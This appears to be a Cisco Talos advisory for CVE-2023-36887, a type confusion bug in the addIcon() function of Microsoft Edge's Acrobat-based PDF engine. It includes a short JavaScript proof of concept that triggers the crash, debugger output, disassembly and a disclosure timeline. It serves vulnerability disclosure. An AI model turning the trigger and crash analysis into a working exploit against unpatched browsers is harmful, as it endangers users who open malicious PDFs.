CVE-2023-36887
A memory corruption vulnerability exists in the Javascript implementation of the Acrobat-based PDF engine in Microsoft Edge 112.0.1722.58 and 114.0.1776.0 Canary. A specially crafted PDF document can trigger type confusion vulnerability when manipulating icons, which could lead to writes to arbitrary memory and possibly code execution or other side effects. Victim would need to open a malicious file in the browser to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Microsoft Edge 112.0.1722.58
Microsoft Edge 114.0.1776.0 Canary
Edge - https://www.microsoft.com/en-us/edge
8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-843 - Access of Resource Using Incompatible Type (‘Type Confusion’)
Microsoft Edge is a modern, full featured Internet browser application aimed primarily at Windows users, but available on other platforms as well. Based on Chromium it aims to have feature parity with Chrome browser, has a large market share and is one of Microsoft’s flagship products.
In a recent version, Microsoft Edge has replaced PDFium PDF rendering engine with a more full-featured one based on Adobe Acrobat code. While the new PDF engine, likely called MSDCPDF
, shares similarities with Adobe Acrobat Reader, there are significant differences, especially in the Javascript support and implementation. As in all other PDF engines, Javascript support in MSDCPDF is present to enable interactive documents and aims to implement full Javascript API specs as prescribed by Adobe.
One of the features enabled by Javascript API is manipulation of several different types of icons (for annotations, buttons, etc.). There exists a document level function addIcon()
intended to add an icon resource to a list of document level icons. Native implementation behind this function contains a vulnerability when validating the object type passed as a parameter. Usually, an object passed as an argument would be shaped like an icon object or it would be rejected by the engine by throwing a “Wrong type of argument value” exception. This validation can fail for certain shapes of objects and can result in the following NULL pointer dereference crash:
27d0.12a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
msedge+0x64fa14:
00007fff`b579fa14 488b09 mov rcx,qword ptr [rcx] ds:00000000`00000000=????????????????
11:172> k
# Child-SP RetAddr Call Site
00 00000008`731fc630 00007fff`bdfba138 msedge+0x64fa14
01 00000008`731fc660 00007fff`bd4b2816 msedge!argon2_encodedlen+0x2799b8
02 00000008`731fc6c0 00007fff`bd4bd146 msedge!AugLoop_BinaryDataDownloadParams::operator=+0x21aa9a6
03 00000008`731fc710 00007fff`bd4b979d msedge!AugLoop_BinaryDataDownloadParams::operator=+0x21b52d6
04 00000008`731fc8d0 00007fff`b55aebaf msedge!AugLoop_BinaryDataDownloadParams::operator=+0x21b192d
05 00000008`731fc990 00007fff`b68557ba msedge+0x45ebaf
06 00000008`731fcb70 00007fff`b67b626c msedge+0x17057ba
However, depending on the object shape and memory layout, type confusion can take a different route, which can lead to memory corruption. For example, the attached proof of concept uses a field object of a certain type to trigger the vulnerability:
var f = getField(getNthFieldName(0));
this.addIcon("sd",f);
The above PoC code results in a following crash:
0:003> g
(2740.2228): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 182:0
mspdf!GetPdfControlPrinter+0x13e73c:
00007fff`d350690c f048ff4118 lock inc qword ptr [rcx+18h] ds:00007fff`d390fd20=00007fffd3874e40
0:003> ?rcx
Evaluate expression: 140736742882568 = 00007fff`d390fd08
0:003> dq rcx
00007fff`d390fd08 00007fff`d30ad4a0 00007fff`d349ab80
00007fff`d390fd18 00007fff`d393b9e0 00007fff`d3874e40
00007fff`d390fd28 00007fff`d393ba00 00007fff`d3864f20
00007fff`d390fd38 00007fff`d393ba20 00007fff`d3874e70
00007fff`d390fd48 00007fff`d393ba40 00007fff`d3874eb0
00007fff`d390fd58 00007fff`d393ba60 00007fff`d3874ef0
00007fff`d390fd68 00000000`00000000 00007fff`d393baa0
00007fff`d390fd78 00007fff`d30b2640 00007fff`d30b2670
0:003> u rcx
mspdf!OQS_SIG_verify+0x755a8
Above crash is due to access violation when dereferencing a pointer in rcx
. If we examine the code immediately before the crash we can observe the following:
.text:00000001804EECD1 lea rbp, [rsp+30h]
.text:00000001804EECD6 mov [rbp+10h+var_18], 0FFFFFFFFFFFFFFFEh
.text:00000001804EECDE mov rsi, rdx
.text:00000001804EECE1 mov rdi, rcx
.text:00000001804EECE4 movups xmm0, xmmword ptr [rcx+8]
.text:00000001804EECE8 movups xmmword ptr [rdx], xmm0
.text:00000001804EECEB mov rcx, [rdx]
.text:00000001804EECEE test rcx, rcx
.text:00000001804EECF1 jz short loc_1804EECF8
.text:00000001804EECF3 call sub_1804A690C ; calls crashing function
.text:00000001804A690C sub_1804A690C proc near
.text:00000001804A690C lock inc qword ptr [rcx+18h] ; crashes here
.text:00000001804A6911 mov rax, [rcx+28h]
Invalid pointer being dereferenced comes from rdx
, which is in turn located on the stack. Following memory references further back reveals that the initial pointer value was initialized and written to memory in what appears to be unrelated part of the code:
Breakpoint 0 hit
mspdf!SetPlatformFactory+0x26765:
00007fff`d30b0e05 4883c430 add rsp,30h
0:003> ub
mspdf!SetPlatformFactory+0x26748:
00007fff`d30b0de8 104885 adc byte ptr [rax-7Bh],cl
00007fff`d30b0deb c9 leave
00007fff`d30b0dec 7405 je mspdf!SetPlatformFactory+0x26753 (00007fff`d30b0df3)
00007fff`d30b0dee e8195b4500 call mspdf!GetPdfControlPrinter+0x13e73c (00007fff`d350690c)
00007fff`d30b0df3 0f104720 movups xmm0,xmmword ptr [rdi+20h]
00007fff`d30b0df7 0f114620 movups xmmword ptr [rsi+20h],xmm0
00007fff`d30b0dfb 488d0506ef8500 lea rax,[mspdf!OQS_SIG_verify+0x755a8 (00007fff`d390fd08)]
00007fff`d30b0e02 488906 mov qword ptr [rsi],rax
0:003> dq rax
00007fff`d390fd08 00007fff`d30ad4a0 00007fff`d349ab80
00007fff`d390fd18 00007fff`d393b9e0 00007fff`d3874e40
00007fff`d390fd28 00007fff`d393ba00 00007fff`d3864f20
00007fff`d390fd38 00007fff`d393ba20 00007fff`d3874e70
00007fff`d390fd48 00007fff`d393ba40 00007fff`d3874eb0
00007fff`d390fd58 00007fff`d393ba60 00007fff`d3874ef0
00007fff`d390fd68 00000000`00000000 00007fff`d393baa0
00007fff`d390fd78 00007fff`d30b2640 00007fff`d30b2670
0:003> u rax
mspdf!OQS_SIG_verify+0x755a8:
More specifically, in the example crash above, the invalid pointer points to a .rdata
section of the mspdf.dll
, to a VTable entry for field_group
. Type confusion has occurred, andan unexpected pointer is being dereferenced to increment the value it points to.
While not under direct control, by changing the field types in the document, the value of the invalid pointer can be influenced. If successfully shifted to point to writable memory, the invalid pointer could be used to change values and possibly cause further memory corruption.
The vendor released an update and provided details for the vulnerability at: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36887
2023-05-16 - Vendor Disclosure
2023-07-13 - Vendor Patch Release
2023-07-17 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.